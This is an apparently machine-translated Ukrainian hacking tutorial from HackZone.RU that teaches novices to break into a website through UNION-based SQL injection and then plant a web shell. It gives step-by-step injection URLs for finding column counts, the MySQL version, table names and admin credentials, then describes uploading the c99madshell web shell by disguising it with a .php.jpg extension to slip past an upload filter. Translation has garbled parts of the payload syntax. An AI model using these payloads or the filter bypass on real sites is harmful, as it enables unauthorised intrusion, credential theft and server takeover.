Злом сайту за допомогою sql-injection та заливка шелла на хост

Злом сайту за допомогою SQL-Injection і заливка шелла на хост.

Доброго времени суток, панове. Ось вирішив написати статейку по задоволений таки поширеною в наш час атаки SQL - Injection і по заливці шелла (shell) на зламаний сайт. Статей таких, звичайно ж багато, але ще одна, думаю, не завадить, що не зрозуміло там, може бути стане хоч трохи ясніше тут.

target. us / lol. php. id = 5 + order + by +12 - Ні помилки, значить полів або більше 12-ти або 12. target. us / lol. php. id = 20 - помилка. Значить полів менше 20-ти. І так поки не досягнемо результату. Через union select буде виглядати так: target. us / lol. php. id = -5 + union + select + 1,2,3,4,5,6,7,8,9,10,11,12 / * і т.д. Щоб дізнатися версію MySQL. яка встановлена ​​на сервері, виконуємо запит: target. us / lol. php. id = -5 + union + select +1,2,3, VERSION (), 5,6,7,8,9,10,11,12 / * (так само мжно дізнатися і користувача через команду USER ()) і в браузер прямо на сторінці сайту вивалить версію БД. Головне глянути 5 або 4-я. Так як в 5-й присутня INFORMATION _ SCHEMA _ TABLES. там підбирати вам буде легше.

Тепер дізнаємося імена імена таблиць. Якщо версія БД 4-я, то імена будемо вгадувати, складаємо запит виду target. us / lol. php. id = -5 + union + select +1,2,3, admin, 5,6,7,8,9,10,11,12 + from + Users / * (Users можливе ім'я БД), якщо вгадали ім'я і таблицю (Users) то отримаєте висновок з іменами в браузер, і так перебирати поки не отримаєте результат. Якщо ж версію «м'яз» (MySQL) 5-а, то там вам буде простіше, складаємо запит виду: target. us / lol. php. id = -5 + union + select +1,2,3, table _ name, 5,6,7,8,9,10,11,12 + from + INFORMATION_SCHEMA.TABLES / * і так само побачимо висновок імен в браузер . Припустимо ім'я таблиці admin і нам потрібна колонка з паролями (passwords). Складемо запит. target. us / lol. php. id = -5 + union + select +1,2,3, passwords, 5,6,7,8,9,10,11,12 + from + admin /*.Точно так само підбирається і логін, можна зробити все красивіше давши команду target. us / lol. php. id = -5 + union + select +1,2,3, concat_ws (0 x 3 a. passwords, 0 x 3 a. login), 5,6,7,8,9,10,11,12 + from + admin / *. Отримаємо висновок виду логін; пароль (наприклад, admin; qwerty). У різних випадках може бути по-різному, тому доведеться трохи думати. Якщо отримуємо хеш (hash) пароля - то йдемо Брут, якщо просто висновок пароля - то радіємо. Отже, логін / пароль ми отримали, логіном в систему. Ну маємо ми права адміна, ну так же не цікаво хочеться і по серв погуляти. А ось для цього завантажуємо шелл, наприклад c 99 madshell. напевно він буде мати розширення txt. тому міняємо на php. Залити на сервер можна, наприклад, через яку або форму аплоаду (upload), через яку адміни щось заливають (картинки наприклад). Але буває так, що варто фільтр, тобто файл php ми залити ну ніяк не можемо. Тоді йдемо на хитрість, робимо так c 99 madshell. php. jpg Фільтр таке може пропустити, якщо пропустив - то все супер! Переходимо в браузері сюди target. us / c 99 madshell. php. jpg і радіємо що шелл у нас залитий, можемо гуляти по серв! Якщо сервер на ОС UNIX. то непогано було б знати ще й деякі її команди.

Це все, тренуйтеся панове новачки! Бажаю удачі в ваших нелегких починаннях!

В майбутньому може, напишу ще пару статей про атаках на інші БД, наприклад, MSSQL.

Dementor special for HackZone.RU